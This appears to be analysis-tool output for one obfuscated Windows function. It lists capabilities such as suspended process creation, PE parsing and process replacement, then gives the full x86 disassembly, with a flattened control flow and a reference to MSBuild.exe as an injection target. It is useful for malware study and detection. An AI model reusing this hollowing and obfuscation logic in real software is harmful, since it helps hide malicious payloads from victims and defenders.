Function at 0x10003140
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x110
mov eax, dword [0x1006e200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0x8754b061
sub edx, 1
add edx, 0x8754b061
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x112], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x111], al
mov dword [ebp - 0x118], 0x6f407523
mov eax, dword [ebp - 0x118]
mov dword [ebp - 0x11c], eax
sub eax, 0x814d2d1a
je 0x10009d06
jmp 0x100031bb
mov eax, dword [ebp - 0x11c]
sub eax, 0x828030ff
je 0x1000b867
jmp 0x100031d1
mov eax, dword [ebp - 0x11c]
sub eax, 0x8331a693
je 0x1000a9d7
jmp 0x100031e7
mov eax, dword [ebp - 0x11c]
sub eax, 0x83451a87
je 0x100058aa
jmp 0x100031fd
mov eax, dword [ebp - 0x11c]
sub eax, 0x836c81e8
je 0x100088d0
jmp 0x10003213
mov eax, dword [ebp - 0x11c]
sub eax, 0x85899228
je 0x1000beac
jmp 0x10003229
mov eax, dword [ebp - 0x11c]
sub eax, 0x85d5b4f4
je 0x1000b771
jmp 0x1000323f
mov eax, dword [ebp - 0x11c]
sub eax, 0x86ed32c1
je 0x1000743e
jmp 0x10003255
mov eax, dword [ebp - 0x11c]
sub eax, 0x86f16664
je 0x100080ed
jmp 0x1000326b
mov eax, dword [ebp - 0x11c]
sub eax, 0x8812f775
je 0x10009d15
jmp 0x10003281
mov eax, dword [ebp - 0x11c]
sub eax, 0x8b5aea27
je 0x10007aff
jmp 0x10003297
mov eax, dword [ebp - 0x11c]
sub eax, 0x8c97db56
je 0x1000809c
jmp 0x100032ad
mov eax, dword [ebp - 0x11c]
sub eax, 0x8c9f5b1f
je 0x1000909f
jmp 0x100032c3
mov eax, dword [ebp - 0x11c]
sub eax, 0x8cddd37d
je 0x10005e22
jmp 0x100032d9
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d048e85
je 0x100091a4
jmp 0x100032ef
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d1594bc
je 0x10008ae8
jmp 0x10003305
mov eax, dword [ebp - 0x11c]
sub eax, 0x8d27d5ba
je 0x1000bd71
jmp 0x1000331b
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e24488f
je 0x10005f61
jmp 0x10003331
mov eax, dword [ebp - 0x11c]
sub eax, 0x8e647566
je 0x10007e5c
jmp 0x10003347
mov eax, dword [ebp - 0x11c]
sub eax, 0x8edb4b52
je 0x10009e6a
jmp 0x1000335d
mov eax, dword [ebp - 0x11c]
sub eax, 0x8f419999
je 0x10006e77
jmp 0x10003373
mov eax, dword [ebp - 0x11c]
sub eax, 0x8faa708b
je 0x1000716f
jmp 0x10003389
mov eax, dword [ebp - 0x11c]
sub eax, 0x900df292
je 0x100095cb
jmp 0x1000339f
mov eax, dword [ebp - 0x11c]
sub eax, 0x901b1de1
je 0x1000be22
jmp 0x100033b5
mov eax, dword [ebp - 0x11c]
sub eax, 0x90202a32
je 0x1000b8a9
jmp 0x100033cb
mov eax, dword [ebp - 0x11c]
sub eax, 0x905e3492
je 0x1000b1ba
jmp 0x100033e1
mov eax, dword [ebp - 0x11c]
sub eax, 0x907f69cb
je 0x1000bb1c
jmp 0x100033f7
mov eax, dword [ebp - 0x11c]
sub eax, 0x9123cc07
je 0x10005dd1
jmp 0x1000340d
mov eax, dword [ebp - 0x11c]
sub eax, 0x9137b313
je 0x1000bd94
jmp 0x10003423
mov eax, dword [ebp - 0x11c]
sub eax, 0x9173e160
je 0x10008404
jmp 0x10003439
mov eax, dword [ebp - 0x11c]
sub eax, 0x91c04f20
je 0x10007825
jmp 0x1000344f
mov eax, dword [ebp - 0x11c]
sub eax, 0x91cf1da0
je 0x1000a5ed
jmp 0x10003465
mov eax, dword [ebp - 0x11c]
sub eax, 0x91d785c8
je 0x10006ea7
jmp 0x1000347b
mov eax, dword [ebp - 0x11c]
sub eax, 0x91dc3cf4
je 0x1000a40b
jmp 0x10003491
mov eax, dword [ebp - 0x11c]
sub eax, 0x93d0a27b
je 0x100061ce
jmp 0x100034a7
mov eax, dword [ebp - 0x11c]
sub eax, 0x9466a8a7
je 0x1000a481
jmp 0x100034bd
mov eax, dword [ebp - 0x11c]
sub eax, 0x949315c0
je 0x1000b9f6
jmp 0x100034d3
mov eax, dword [ebp - 0x11c]
sub eax, 0x94b20a4b
je 0x10007d58
jmp 0x100034e9
mov eax, dword [ebp - 0x11c]
sub eax, 0x94ddc9d5
je 0x10008b56
jmp 0x100034ff
mov eax, dword [ebp - 0x11c]
sub eax, 0x9517fdce
je 0x1000ba6b
jmp 0x10003515
mov eax, dword [ebp - 0x11c]
sub eax, 0x9663a233
je 0x1000adf4
jmp 0x1000352b
mov eax, dword [ebp - 0x11c]
sub eax, 0x96a8b343
je 0x10006989
jmp 0x10003541
mov eax, dword [ebp - 0x11c]
sub eax, 0x96b1509a
je 0x10006a18
jmp 0x10003557
mov eax, dword [ebp - 0x11c]
sub eax, 0x979b10cc
je 0x1000bbd6
jmp 0x1000356d
mov eax, dword [ebp - 0x11c]
sub eax, 0x97d6bdfb
je 0x10008b39
jmp 0x10003583
mov eax, dword [ebp - 0x11c]
sub eax, 0x9817d02d
je 0x1000b9d5
jmp 0x10003599
mov eax, dword [ebp - 0x11c]
sub eax, 0x98568281
je 0x10008d5a
jmp 0x100035af
mov eax, dword [ebp - 0x11c]
sub eax, 0x987cd7f4
je 0x1000a72b
jmp 0x100035c5
mov eax, dword [ebp - 0x11c]
sub eax, 0x98ab4a8b
je 0x1000c002
jmp 0x100035db
mov eax, dword [ebp - 0x11c]
sub eax, 0x98ffe88a
je 0x100099c6
jmp 0x100035f1
mov eax, dword [ebp - 0x11c]
sub eax, 0x99c1f870
je 0x10007bd0
jmp 0x10003607
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a301b64
je 0x10009a17
jmp 0x1000361d
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a52f77f
je 0x100062de
jmp 0x10003633
mov eax, dword [ebp - 0x11c]
sub eax, 0x9a81726c
je 0x1000b38f
jmp 0x10003649
mov eax, dword [ebp - 0x11c]
sub eax, 0x9afa7c6d
je 0x1000bb0d
jmp 0x1000365f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9aff41fa
je 0x1000a3e3
jmp 0x10003675
mov eax, dword [ebp - 0x11c]
sub eax, 0x9b20992c
je 0x10008e1c
jmp 0x1000368b
mov eax, dword [ebp - 0x11c]
sub eax, 0x9c1a42a2
je 0x10008921
jmp 0x100036a1
mov eax, dword [ebp - 0x11c]
sub eax, 0x9ce7ce56
je 0x1000ac30
jmp 0x100036b7
mov eax, dword [ebp - 0x11c]
sub eax, 0x9cfa95d4
je 0x10008b18
jmp 0x100036cd
mov eax, dword [ebp - 0x11c]
sub eax, 0x9d66c8cb
je 0x1000ad2a
jmp 0x100036e3
mov eax, dword [ebp - 0x11c]
sub eax, 0x9eac65cd
je 0x100075fe
jmp 0x100036f9
mov eax, dword [ebp - 0x11c]
sub eax, 0x9fa0d089
je 0x1000b145
jmp 0x1000370f
mov eax, dword [ebp - 0x11c]
sub eax, 0x9fc28878
je 0x1000b813
jmp 0x10003725
mov eax, dword [ebp - 0x11c]
sub eax, 0xa00cbdc5
je 0x10005e6b
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0xcaf5a4b0
sub edx, 1
add edx, 0xcaf5a4b0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdad3ade4
mov ecx, 0xb4c5b30e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0xfa6fdef0
sub edx, 1
add edx, 0xfa6fdef0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63f34ef3
mov ecx, 0x8cddd37d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x63f34ef3
mov ecx, 0xa00cbdc5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0xa449d09f
sub edx, 1
sub edx, 0xa449d09f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe51da48e
mov ecx, 0x7cee139c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0xa76ffbe3
jmp 0x1000c00c
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10019388]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x31f7ec0d
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0xbaff976
sub edx, 1
add edx, 0xbaff976
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd320ece9
mov ecx, 0xf191e046
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x10019350]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xa19cfd40
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x3248b68d
jmp 0x1000c00c
mov dl, 1
mov eax, 0x47e3cb7e
mov ecx, 0x4b10114f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10019328]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x4a92b2c6
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4bb905f
mov ecx, 0xbedaf5cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019318]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x1fbd166a
jmp 0x1000c00c
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x2763a959
sub edx, 1
sub edx, 0x2763a959
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6b728651
mov ecx, 0x319933d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9817d02d
mov ecx, 0xdbd9b71c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0xe594ba2d
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x6968b416
sub edx, 1
sub edx, 0x6968b416
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb1b22d55
mov ecx, 0xd654f76a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100192fc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xe951cd77
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x228d43c4
sub edx, 1
sub edx, 0x228d43c4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe641b499
mov ecx, 0x86f16664
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x796939ac
sub edx, 1
add edx, 0x796939ac
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe641b499
mov ecx, 0x4023cd4a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0xff5adcc4
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x6dfafecb
sub edx, 1
sub edx, 0x6dfafecb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6b67bb3
mov ecx, 0x9c1a42a2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191cc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100191c8]
movss dword [eax], xmm0
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa6b67bb3
mov ecx, 0xc90e30cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x2f5bbce9
jmp 0x1000c00c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100192cc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x97d6bdfb
jmp 0x1000c00c
mov dl, 1
mov eax, 0xb5fcfa1c
mov ecx, 0x94ddc9d5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100192c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100192c4]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x4a19c61
jmp 0x1000c00c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100192b0]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x22bcdff
jmp 0x1000c00c
mov dl, 1
mov eax, 0xdfb02af6
mov ecx, 0x756346b8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x54fc14d5
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x7e9ba4c3
jmp 0x1000c00c
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1001919c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019198]
movss dword [eax], xmm0
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe41196fd
mov ecx, 0xdfe745b6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x54757b91
sub edx, 1
add edx, 0x54757b91
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1a1ac4a5
mov ecx, 0x9a301b64
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x3c]
add eax, 0x36b3da66
add eax, ecx
sub eax, 0x36b3da66
mov dword [ebp - 0x90], eax
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0xae45d2b8
sub edx, 1
sub edx, 0xae45d2b8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1a1ac4a5
mov ecx, 0x477d738
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x8812f775
jmp 0x1000c00c
mov eax, dword [ebp - 0x88]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0xd8]
mov byte [eax], cl
mov eax, dword [ebp - 0xd4]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319MSBuild.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd8]
mov dl, byte [eax]
mov eax, 0x6a88fe07
mov ecx, 0x2c8be262
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x2c8be262
jmp 0x1000c00c
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x50]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0x58]
add ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov dword [ebp - 0x118], 0x91dc3cf4
jmp 0x1000c00c
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x951d82d3
sub edx, 1
sub edx, 0x951d82d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x51dc263
mov ecx, 0x9466a8a7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x51dc263
mov ecx, 0xface88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dl, byte [ebp - 0x49]
mov eax, 0x77ca150e
mov ecx, 0x37dfcd38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x7bd92254
sub edx, 1
sub edx, 0x7bd92254
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc3a8bb10
mov ecx, 0x5d338704
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x30]
cmp eax, ecx
setb al
and al, 1
mov byte [ebp - 0x2a], al
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
sub edx, 0x14bffd53
sub edx, 1
add edx, 0x14bffd53
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x1ef99950
mov ecx, 0x2a7789fd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dl, byte [ebp - 0x29]
mov eax, 0x63ab7ddc
mov ecx, 0x26c8bd9a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe5e710d0
mov ecx, 0xf8fa91b2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
sub edx, 0x7219d971
sub edx, 1
add edx, 0x7219d971
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc9a7897c
mov ecx, 0x11c46c8a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x20]
add ecx, 0xbcb01c03
add ecx, eax
sub ecx, 0xbcb01c03
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [0x1006f528]
mov ecx, dword [0x1006f524]
mov edx, eax
add edx, 0x7f67c148
sub edx, 1
sub edx, 0x7f67c148
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa5316b6e
mov ecx, 0x905e3492
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x48dd4e77
jmp 0x1000c00c
mov ecx, dword [0x1006f528]
mov eax, dword [0x1006f524]
mov edx, ecx
add edx, 0x60807bf0
sub edx, 1
sub edx, 0x60807bf0
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe52e690c
mov ecx, 0x4edf4060
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x118], eax
jmp 0x1000c00c
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x1001924c]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xa75db31e
jmp 0x1000c00c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x1001923c]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xe4ba825
jmp 0x1000c00c
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10019230]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xdeeaa7df
jmp 0x1000c00c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019228]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019224]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019220]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x6cab35ea
jmp 0x1000c00c
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10019200]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xdbd9b71c
jmp 0x1000c00c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100191fc]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xc740ea2f
jmp 0x1000c00c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100191ec]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xfe056cc9
jmp 0x1000c00c
mov dword [ebp - 0x118], 0xed0a6727
jmp 0x1000c00c
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100191dc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x100191d8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0x78f9c02d
jmp 0x1000c00c
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191c0]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191bc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100191b8]
movss dword [eax], xmm0
mov dword [ebp - 0x118], 0xf6cb8897
jmp 0x1000c00c
mov eax, dword [ebp - 0xe4]
mov ecx, dword [ebp - 0x90]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x118], 0x17b1a7a2
jmp 0x1000c00c
mov eax, dword [ebp - 0xe0]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.1000d2e0
add esp, 0xc
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.1000d2e0
add esp, 0xc
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x118], 0xfe129260
jmp 0x1000c00c
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x118], 0x7dfe0d24
jmp 0x1000c00c
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x118], 0xc421e5ab
jmp 0x1000c00c
mov dword [ebp - 0x118], 0x50ca3d72
jmp 0x1000319f